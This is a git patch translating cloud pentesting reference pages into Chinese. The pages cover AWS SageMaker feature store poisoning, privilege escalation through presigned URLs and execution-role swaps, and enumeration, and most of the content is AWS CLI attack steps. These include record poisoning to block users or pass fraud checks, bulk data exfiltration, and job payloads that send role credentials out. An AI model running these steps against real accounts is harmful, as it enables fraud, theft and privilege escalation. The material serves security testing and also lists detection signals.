From e595b62f340843f5cefa28dbbd19b4ca5b2b8ebc Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 17 Oct 2025 15:54:15 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../feature-store-poisoning.md | 174 +++++++++--- .../aws-sagemaker-privesc/README.md | 268 +++++++++++++++--- .../aws-services/aws-sagemaker-enum/README.md | 88 +++--- .../README.md | 106 +------ 4 files changed, 419 insertions(+), 217 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index a744fefd3..a2b246a03 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,50 +1,160 @@ # SageMaker Feature Store online store poisoning -滥用 `sagemaker:PutRecord` 在启用了 OnlineStore 的 Feature Group 上覆盖在线推理所使用的实时特征值。结合 `sagemaker:GetRecord`,攻击者可以读取敏感特征。此操作不需要访问模型或端点。 +滥用 `sagemaker:PutRecord` 对启用了 OnlineStore 的 Feature Group 进行写入,以覆盖被在线推理使用的实时特征值。配合 `sagemaker:GetRecord`,攻击者可以读取敏感特征并外泄机密的 ML 数据。此攻击不需要访问模型或端点,因此是直接的数据层攻击。 ## 要求 -- 权限:`sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- 目标:启用了 OnlineStore 的 Feature Group(通常用于实时推理) +- 权限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- 目标:启用了 OnlineStore 的 Feature Group(通常用于支持实时推理) +- 复杂度: **LOW** - 简单的 AWS CLI 命令,无需修改模型 ## 步骤 -1) 选择或创建一个用于测试的小型 Online Feature Group + +### 侦察 + +1) 列出启用 OnlineStore 的 Feature Groups +```bash +REGION=${REGION:-us-east-1} +aws sagemaker list-feature-groups \ +--region $REGION \ +--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ +--output table +``` +2) 描述目标 Feature Group 以了解其 schema +```bash +FG= +aws sagemaker describe-feature-group \ +--region $REGION \ +--feature-group-name "$FG" +``` +注意 `RecordIdentifierFeatureName`、`EventTimeFeatureName` 和所有特征定义。这些是构造有效记录所必需的。 + +### 攻击场景 1: Data Poisoning (覆盖现有记录) + +1) 读取当前合法记录 +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +2) 使用内联 `--record` 参数将记录投毒为恶意值 +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"} +]" \ +--target-stores OnlineStore +``` +3) 验证被投毒的数据 +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +**影响**:消费此特征的 ML 模型现在会看到合法用户的 `risk_score=0.99`,可能导致其交易或服务被阻止。 + +### 攻击场景 2:恶意数据注入(创建伪造记录) + +注入具有被操纵特征的全新记录以规避安全控制: +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Create fake user with artificially low risk to perform fraudulent transactions +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"} +]" \ +--target-stores OnlineStore +``` +验证注入: +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-999 +``` +**影响**: 攻击者创建一个风险评分很低(0.01)的虚假身份,能够进行高价值的欺诈性交易而不会触发欺诈检测。 + +### 攻击场景 3:敏感数据外泄 + +读取多个记录以提取机密特征并分析模型行为: +```bash +# Exfiltrate data for known users +for USER_ID in user-001 user-002 user-003 user-999; do +echo "Exfiltrating data for ${USER_ID}:" +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string ${USER_ID} +done +``` +**影响**: 机密特征(风险评分、交易模式、个人数据)被攻击者暴露。 + +### 测试/演示 Feature Group 创建(可选) + +如果你需要创建一个测试 Feature Group: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) if [ -z "$FG" -o "$FG" = "None" ]; then ACC=$(aws sts get-caller-identity --query Account --output text) -FG=ht-fg-$ACC-$(date +%s) +FG=test-fg-$ACC-$(date +%s) ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) -aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" + +aws sagemaker create-feature-group \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-feature-name entity_id \ +--event-time-feature-name event_time \ +--feature-definitions "[ +{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"} +]" \ +--online-store-config "{\"EnableOnlineStore\":true}" \ +--role-arn "$ROLE_ARN" + echo "Waiting for feature group to be in Created state..." for i in $(seq 1 40); do ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) -echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15 done fi -``` -2) 插入/覆盖 在线记录 (poison) -```bash -NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) -cat > /tmp/put.json << JSON -{ -"FeatureGroupName": "$FG", -"Record": [ -{"FeatureName": "entity_id", "ValueAsString": "user-123"}, -{"FeatureName": "event_time", "ValueAsString": "$NOW"}, -{"FeatureName": "risk_score", "ValueAsString": "0.99"} -], -"TargetStores": ["OnlineStore"] -} -JSON -aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json -``` -3) 读取记录以确认已被篡改 -```bash -aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" -``` -预期:risk_score 返回 0.99(由攻击者设置),证明能够更改被模型使用的在线特征。 -## Impact -- 实时完整性攻击:在不接触端点/模型的情况下,操纵生产模型使用的特征。 -- 机密性风险:通过 GetRecord 从 OnlineStore 读取敏感特征。 +echo "Feature Group ready: $FG" +``` +## 检测 + +监控 CloudTrail 以发现可疑模式: +- `PutRecord` events from unusual IAM principals or IP addresses +- High frequency `PutRecord` or `GetRecord` calls +- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range) +- Bulk `GetRecord` operations indicating mass exfiltration +- Access outside normal business hours or from unexpected locations + +实施异常检测: +- 特征值验证(例如,risk_score 必须在 0.0-1.0) +- 写入模式分析(频率、时间、来源身份) +- 数据漂移检测(特征分布的突然变化) + +## 参考 +- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) +- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md index 774456848..d2972ec9f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -6,34 +6,117 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -开始创建一个附加了要访问的 IAM Role 的 notebook: +开始创建一个 notebook,并将要访问的 IAM Role 附加到该实例上: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -响应应包含一个 `NotebookInstanceArn` 字段,其中包含新创建的 notebook 实例的 ARN。然后我们可以使用 `create-presigned-notebook-instance-url` API 生成一个 URL,以便在实例就绪后访问该 notebook 实例: +响应应包含一个 `NotebookInstanceArn` 字段,其中包含新创建笔记本实例的 ARN。然后我们可以使用 `create-presigned-notebook-instance-url` API 生成一个 URL,以便在笔记本实例就绪后访问该实例: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -导航到 URL(使用浏览器)并点击 \`Open JupyterLab\`\` 在右上角,然后向下滚动到 “Launcher” 选项卡,在 “Other” 部分下,点击 “Terminal” 按钮。 +使用浏览器导航到该 URL 并在右上角点击 `Open JupyterLab``,然后向下滚动到 “Launcher” 选项卡,在 “Other” 部分下点击 “Terminal” 按钮。 -现在可以访问 IAM Role 的元数据凭证。 +现在可以访问该 IAM Role 的元数据凭证。 -**潜在影响:** Privesc to the sagemaker service role specified. +**潜在影响:** 对指定的 sagemaker service role 进行 Privesc。 ### `sagemaker:CreatePresignedNotebookInstanceUrl` -如果上面已有 Jupyter **notebooks 已经在运行** 并且你可以使用 `sagemaker:ListNotebookInstances` 列出它们(或通过任何其他方式发现它们),你可以**为它们生成一个 URL、访问它们,并按前面技术所示窃取凭证**。 +如果其上已有正在运行的 Jupyter notebooks,并且你可以使用 `sagemaker:ListNotebookInstances` 列出它们(或以任何其他方式发现它们)。你可以**为它们生成一个 URL,访问它们,并像前面的技术所示那样窃取凭证**。 ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**潜在影响:** Privesc 到附加的 sagemaker 服务角色。 +**可能影响:** 对附加的 sagemaker service role 的 Privesc。 + + +## `sagemaker:CreatePresignedDomainUrl` + +> [!WARNING] +> 此攻击仅适用于旧的传统 SageMaker Studio 域,不适用于由 SageMaker Unified Studio 创建的域。由 Unified Studio 创建的域会返回错误: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal". + +拥有在目标 Studio `UserProfile` 上调用 `sagemaker:CreatePresignedDomainUrl` 权限的身份,可以生成一个登录 URL,直接以该 profile 的身份认证进入 SageMaker Studio。此举会在攻击者的浏览器中创建一个继承该 profile 的 `ExecutionRole` 权限的 Studio 会话,并完全访问该 profile 基于 EFS 的 home 和 apps。不需要 `iam:PassRole` 或控制台访问。 + +**Requirements**: +- 一个 SageMaker Studio 的 `Domain`,以及其中的目标 `UserProfile`。 +- 攻击者主体需要在目标 `UserProfile` 上拥有 `sagemaker:CreatePresignedDomainUrl`(资源级别)或 `*`。 + +Minimal policy example (scoped to one UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +**滥用步骤**: + +1) Enumerate 可针对的 Studio Domain 和 UserProfiles +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) 检查是否未使用 unified studio(攻击仅适用于传统 SageMaker Studio 域) +```bash +aws sagemaker describe-domain --domain-id --query 'DomainSettings' +# If you get info about unified studio, this attack won't work +``` +3) 生成一个 presigned URL (默认有效期约 5 分钟) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +4) 在浏览器中打开返回的 URL,以目标用户身份登录 Studio。在 Studio 内的 Jupyter 终端中验证有效身份或 exfiltrate the token: +```bash +aws sts get-caller-identity +``` +注意: +- `--landing-uri` 可以省略。某些值(例如 `app:JupyterLab:/lab`)可能会根据 Studio 的版本/变体被拒绝;默认通常会重定向到 Studio 主页,然后到 Jupyter。 +- 组织策略/VPC endpoint 限制仍可能阻止网络访问;令牌签发不需要控制台登录或 `iam:PassRole`。 + +**潜在影响**:可以通过假定任何其 ARN 被允许的 Studio `UserProfile` 来实现横向移动和权限提升,继承其 `ExecutionRole` 以及文件系统/应用程序。 + + +### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` + +具有调用 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限的主体(以及用于后续访问的 `sagemaker-mlflow:AccessUI`、`sagemaker-mlflow:SearchExperiments`)针对目标 SageMaker MLflow Tracking Server,可以生成一次性预签名 URL,直接对该服务器的托管 MLflow UI 进行身份验证。这将授予与合法用户相同的访问权限(查看/创建实验和运行,并在服务器的 S3 工件存储中下载/上传工件)。 + +**要求:** +- 账户/区域内的 SageMaker MLflow Tracking Server 及其名称。 +- 攻击者主体需要在目标 MLflow Tracking Server 资源上具有 `sagemaker:CreatePresignedMlflowTrackingServerUrl`(或 `*`)权限。 + +**滥用步骤**: + +1) 枚举你可以攻击的 MLflow Tracking Servers 并选择一个名称 +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) 生成一个预签名的 MLflow UI URL(短时间内有效) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--query AuthorizedUrl --output text +``` +3) 在浏览器中打开返回的 URL,以作为该 Tracking Server 的已认证用户访问 MLflow UI。 + +**Potential Impact:** 对目标 Tracking Server 的托管 MLflow UI 的直接访问,允许在服务器配置强制的权限范围内查看和修改 experiments/runs,并检索或上传存储在服务器配置的 S3 artifact store 中的 artifacts。 + ### `sagemaker:CreateProcessingJob`, `iam:PassRole` -拥有这些权限的攻击者可以让 **SageMaker 执行一个 processing job** 并附带一个 SageMaker 角色。通过重用其中一个已经包含 Python 的 AWS Deep Learning Containers(并且在与 URI 相同的区域运行该作业),你可以内联运行代码而无需构建自定义镜像: +具有这些权限的攻击者可以让 **SageMaker 执行一个 processing job**,并附带一个 SageMaker role。通过重用已包含 Python 的 AWS Deep Learning Containers 之一(并在与该 URI 相同的区域运行该作业),你可以在不构建自定义镜像的情况下内联执行代码: ```bash REGION= ROLE_ARN= @@ -49,11 +132,11 @@ aws sagemaker create-processing-job \ # Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. ``` -**潜在影响:** 对指定的 sagemaker 服务角色的 Privesc。 +**Potential Impact:** 对指定的 sagemaker service role 的 Privesc。 ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -拥有这些权限的攻击者可以启动一个 training job,从而使用指定的角色执行任意代码。使用 SageMaker 的官方容器并通过覆盖 entrypoint 注入 payload inline,无需构建自定义镜像: +拥有这些权限的攻击者可以启动一个训练作业,使用指定的角色执行任意代码。使用官方 SageMaker 容器并用 inline payload 覆盖 entrypoint,你不需要构建自有镜像: ```bash REGION= ROLE_ARN= @@ -73,11 +156,11 @@ aws sagemaker create-training-job \ # El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. ``` -**Potential Impact:** Privesc 到指定的 SageMaker 服务角色。 +**潜在影响:** 对所指定的 SageMaker 服务角色 的 Privesc。 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -具有这些权限的攻击者可以启动一个 HyperParameter Tuning Job,在所提供的角色下运行攻击者控制的代码。Script mode 要求将 payload 托管在 S3 中,但所有步骤可以从 CLI 自动化: +拥有这些权限的攻击者可以启动一个 HyperParameter Tuning Job,在所提供的角色下运行攻击者控制的代码。Script mode 需要将 payload 托管在 S3 中,但所有步骤可以从 CLI 自动化: ```bash REGION= ROLE_ARN= @@ -183,28 +266,28 @@ aws sagemaker create-hyper-parameter-tuning-job \ --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \ --training-job-definition file:///tmp/hpo-definition.json ``` -Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado. +该进程启动的每次训练都会打印指标并外泄指定角色的凭证。 +### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) -### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio 角色置换 (no `iam:PassRole`) +拥有更新 SageMaker Studio User Profile、创建应用、生成应用的预签名 URL 以及 `iam:PassRole` 权限后,攻击者可以将 `ExecutionRole` 设置为任何 SageMaker 服务主体可承担的 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,通过 Jupyter 终端或由 Studio 启动的作业提供交互式提升权限。 -Prioridad de ExecutionRole: +> [!WARNING] +> 此攻击要求配置文件中没有任何应用,否则应用创建会失败并出现类似的错误: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` +> 如果存在任何应用,则需要 `sagemaker:DeleteApp` 权限先删除它们。 -- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol. -- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil. -- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol. - -如果具有更新 SageMaker Studio User Profile(或 Space/Domain)的权限,攻击者可以将 `ExecutionRole` 设置为任何 SageMaker 服务主体可假定的 IAM role。与作业创建 API 不同,Studio profile 更新 API 不需要 `iam:PassRole`。为该 profile 启动的新 Studio 应用将以被替换的 role 运行,从而通过 Jupyter 终端或从 Studio 启动的作业获得交互式提升权限。 - -步骤: +步骤: ```bash -# 1) List Studio user profiles and pick a target +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target aws sagemaker list-user-profiles --domain-id-equals # Choose a more-privileged role that already trusts sagemaker.amazonaws.com ROLE_ARN=arn:aws:iam:::role/ -# 2) Update the Studio profile to use the new role (no iam:PassRole) +# 3) Update the Studio profile to use the new role (no iam:PassRole) aws sagemaker update-user-profile \ --domain-id \ --user-profile-name \ @@ -215,18 +298,59 @@ aws sagemaker describe-user-profile \ --user-profile-name \ --query 'UserSettings.ExecutionRole' --output text -# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level -aws sagemaker update-space \ ---domain-id \ ---space-name \ ---space-settings ExecutionRole=$ROLE_ARN +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals -aws sagemaker describe-space \ +# Delete an app +aws sagemaker delete-app \ --domain-id \ ---space-name \ ---query 'SpaceSettings.ExecutionRole' --output text +--user-profile-name \ +--app-type JupyterServer \ +--app-name -# 4) Optionally, change the domain default so every profile inherits the new role +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name + + +# 5) Generate a presigned URL to access Studio with the new domain default role +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) + +``` +**Potential Impact**: 在交互式 Studio 会话中,升级到指定 SageMaker 执行角色的权限。 + + +### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) + +如果拥有更新 SageMaker Studio Domain、创建 app、为该 app 创建 presigned URL 和 `iam:PassRole` 的权限,攻击者可以将域的默认 `ExecutionRole` 设置为 SageMaker 服务主体可以假设的任何 IAM 角色。为该 profile 启动的新 Studio 应用将以被替换的角色运行,从而通过 Jupyter 终端或从 Studio 启动的作业获得交互式的提升权限。 + +> [!WARNING] +> 此攻击要求域中没有应用,否则创建应用会失败并出现错误: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.` + +步骤: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 3) Change the domain default so every profile inherits the new role aws sagemaker update-domain \ --domain-id \ --default-user-settings ExecutionRole=$ROLE_ARN @@ -235,24 +359,88 @@ aws sagemaker describe-domain \ --domain-id \ --query 'DefaultUserSettings.ExecutionRole' --output text -# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role -aws sagemaker create-app \ +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals + +# Delete an app +aws sagemaker delete-app \ --domain-id \ --user-profile-name \ --app-type JupyterServer \ ---app-name js-atk +--app-name -# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: -# aws sts get-caller-identity # should reflect the new ExecutionRole +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--app-type JupyterServer \ +--app-name js-domain-escalated + +# 5) Generate a presigned URL to access Studio with the new domain default role aws sagemaker create-presigned-domain-url \ --domain-id \ --user-profile-name \ --query AuthorizedUrl --output text + +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) ``` -**潜在影响**:在交互式 Studio 会话中,获得指定的 SageMaker 执行角色的权限。 +**潜在影响**: Privilege escalation,以获取指定 SageMaker execution role 在交互式 Studio 会话中的权限。 + +### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl` + +拥有在目标 UserProfile 上创建 SageMaker Studio app 权限的攻击者,可以启动一个以该 profile 的 `ExecutionRole` 运行的 JupyterServer app。这样可以通过 Jupyter 终端或从 Studio 启动的作业交互式访问该角色的权限。 + +步骤: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# 3) Create a JupyterServer app for the user profile +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-privesc + +# 4) Generate a presigned URL to access Studio +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +``` +**潜在影响**: 可交互访问附加到目标 UserProfile 的 SageMaker 执行角色。 -## 参考资料 +### `iam:GetUser`, `datazone:CreateUserProfile` + +具有这些权限的攻击者可以通过为该用户创建 DataZone User Profile,使该 IAM user 获得对 Sagemaker Unified Studio Domain 的访问权限。 +```bash +# List domains +aws datazone list-domains --region us-east-1 \ +--query "items[].{Id:id,Name:name}" \ +--output json + +# Add IAM user as a user of the domain +aws datazone create-user-profile \ +--region us-east-1 \ +--domain-identifier \ +--user-identifier \ +--user-type IAM_USER +``` +The Unified Domain URL 的格式如下: `https://.sagemaker..on.aws/`(例如 `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`)。 + +**潜在影响:** 作为用户访问 Sagemaker Unified Studio Domain,能够访问 Sagemaker 域内的所有资源,甚至将权限提升到 Sagemaker Unified Studio Domain 中笔记本所使用的角色。 + +## 参考 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md index dd63d3696..08ef5f0d6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -2,29 +2,29 @@ {{#include ../../../../banners/hacktricks-training.md}} -## 服务概述 +## 服务概览 -Amazon SageMaker 是 AWS 托管的机器学习平台,整合了 notebooks、训练基础设施、编排、注册表和托管端点。SageMaker 资源被攻破通常会带来: +Amazon SageMaker 是 AWS 的托管机器学习平台,连接 notebooks、训练基础设施、编排、镜像注册表和托管端点。对 SageMaker 资源的妥协通常会带来: -- 长期存在的 IAM 执行角色,具有广泛的 S3、ECR、Secrets Manager 或 KMS 访问权限。 -- 可访问存储在 S3、EFS 或 feature stores 中的敏感数据集。 +- 长期存在的 IAM 执行角色,拥有广泛的 S3、ECR、Secrets Manager 或 KMS 访问权限。 +- 可访问存储在 S3、EFS 或 feature stores 内的敏感数据集。 - 在 VPCs 内的网络立足点(Studio apps、training jobs、endpoints)。 -- 绕过控制台认证的高权限 presigned URLs。 +- 可以绕过控制台认证的高权限预签名 URL。 -在进行 pivot、persist 或 exfiltrate 数据之前,了解 SageMaker 的构成至关重要。 +在横向移动、持久化或外传数据之前,了解 SageMaker 的组装方式至关重要。 -## 核心构件 +## 核心构建块 -- **Studio Domains & Spaces**: Web IDE(JupyterLab、Code Editor、RStudio)。每个 domain 都有一个共享的 EFS 文件系统和默认的 execution role。 -- **Notebook Instances**: 用于独立 notebooks 的托管 EC2 实例;使用独立的 execution roles。 -- **Training / Processing / Transform Jobs**: 短暂的容器,从 ECR 拉取代码,从 S3 拉取数据。 -- **Pipelines & Experiments**: 描述所有步骤、输入和输出的编排工作流。 -- **Models & Endpoints**: 用于通过 HTTPS endpoints 进行推理的打包工件。 +- **Studio Domains & Spaces**: Web IDE(JupyterLab、Code Editor、RStudio)。每个 domain 有共享的 EFS 文件系统和默认执行角色。 +- **Notebook Instances**: 托管的 EC2 实例,用于独立的 notebook;使用独立的执行角色。 +- **Training / Processing / Transform Jobs**: 短暂的容器,从 ECR 拉取代码并从 S3 获取数据。 +- **Pipelines & Experiments**: 编排的工作流,描述所有步骤、输入和输出。 +- **Models & Endpoints**: 打包的制品,通过 HTTPS endpoints 部署用于推理。 - **Feature Store & Data Wrangler**: 用于数据准备和特征管理的托管服务。 -- **Autopilot & JumpStart**: 自动化的 ML 和策划的模型目录。 -- **MLflow Tracking Servers**: 托管的 MLflow UI/API,使用 presigned access tokens。 +- **Autopilot & JumpStart**: 自动化 ML 和策划的模型目录。 +- **MLflow Tracking Servers**: 托管的 MLflow UI/API,使用预签名访问令牌。 -每个资源都会引用 execution role、S3 位置、容器镜像和可选的 VPC/KMS 配置—在枚举时记录所有这些。 +每个资源都会引用执行角色、S3 存储位置、容器镜像以及可选的 VPC/KMS 配置——在枚举时务必收集所有这些信息。 ## 账户与全局元数据 ```bash @@ -41,7 +41,7 @@ aws sagemaker list-tags --resource-arn --region $REGION ``` 注意任何跨账户信任(执行角色或具有外部主体的 S3 存储桶)以及诸如 service control policies 或 SCPs 的基线限制。 -## Studio 域、Apps 与 Shared Spaces +## Studio 域、应用与共享空间 ```bash aws sagemaker list-domains --region $REGION aws sagemaker describe-domain --domain-id --region $REGION @@ -60,14 +60,14 @@ aws sagemaker describe-space --domain-id --space-name --regi aws sagemaker list-studio-lifecycle-configs --region $REGION aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION ``` -要记录的内容: +需要记录: -- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`。 -- 已挂载的 EFS (`HomeEfsFileSystemId`) 和 S3 主目录。 -- Lifecycle scripts (通常包含 bootstrap credentials 或用于 push/pull 的额外代码)。 +- `DomainArn`, `AppSecurityGroupIds`, 